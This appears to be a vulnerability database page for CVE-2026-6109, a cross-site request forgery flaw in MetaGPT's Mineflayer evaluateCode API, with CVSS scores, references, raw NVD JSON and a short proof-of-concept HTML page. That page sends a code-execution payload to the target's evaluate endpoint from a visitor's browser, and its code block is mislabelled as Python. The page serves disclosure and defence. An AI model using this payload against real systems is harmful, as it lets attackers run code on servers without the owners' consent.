CVE-2026-6109

Description

A vulnerability was determined in FoundationAgents MetaGPT up to 0.8.1. The impacted element is the function evaluateCode of the file metagpt/environment/minecraft/mineflayer/index.js of the component Mineflayer HTTP API. Executing a manipulation can lead to cross-site request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:deepwisdom:metagpt:*:*:*:*:*:*:*:* - VULNERABLE

FoundationAgents MetaGPT <= 0.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-6109 -->
<!-- This HTML page demonstrates a CSRF attack against the vulnerable evaluateCode endpoint -->
<html>
  <body>
    <h1>CSRF Exploit Test</h1>
    <p>Attempting to execute code via CSRF...</p>
    <script>
      // Target URL based on the vulnerable component path
      // Adjust host and port to match the target environment
      const targetUrl = "http://target-host:3000/api/minecraft/evaluate";
      
      // Malicious payload to be executed by evaluateCode
      const payload = {
        code: "console.log('Vulnerable to CSRF'); process.exit(1);"
      };

      fetch(targetUrl, {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify(payload),
        credentials: "include" // Ensures cookies are sent with the request
      })
      .then(response => response.text())
      .then(data => console.log("CSRF Response:", data))
      .catch(error => console.error("CSRF Error:", error));
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6109
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6109
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6109/
[4] VulDB https://vuldb.com/cve/CVE-2026-6109
[5] https://github.com/FoundationAgents/MetaGPT/
[6] https://github.com/FoundationAgents/MetaGPT/issues/1932
[7] https://vuldb.com/submit/791759
[8] https://vuldb.com/vuln/356969
[9] https://vuldb.com/vuln/356969/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6109", "sourceIdentifier": "[email protected]", "published": "2026-04-12T02:16:00.790", "lastModified": "2026-04-29T18:46:15.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in FoundationAgents MetaGPT up to 0.8.1. The impacted element is the function evaluateCode of the file metagpt/environment/minecraft/mineflayer/index.js of the component Mineflayer HTTP API. Executing a manipulation can lead to cross-site request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deepwisdom:metagpt:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.8.1", "matchCriteriaId": "E2F9E578-25E5-4DB5-B4A2-4117F26DC2DE"}]}]}], "references": [{"url": "https://github.com/FoundationAgents/MetaGPT/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FoundationAgents/MetaGPT/issues/1932", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Mitigation"]}, {"url": "https://vuldb.com/submit/791759", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/356969", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/356969/cti", "source": "[email protected]", "tags": ["Permissions Required"]}]}}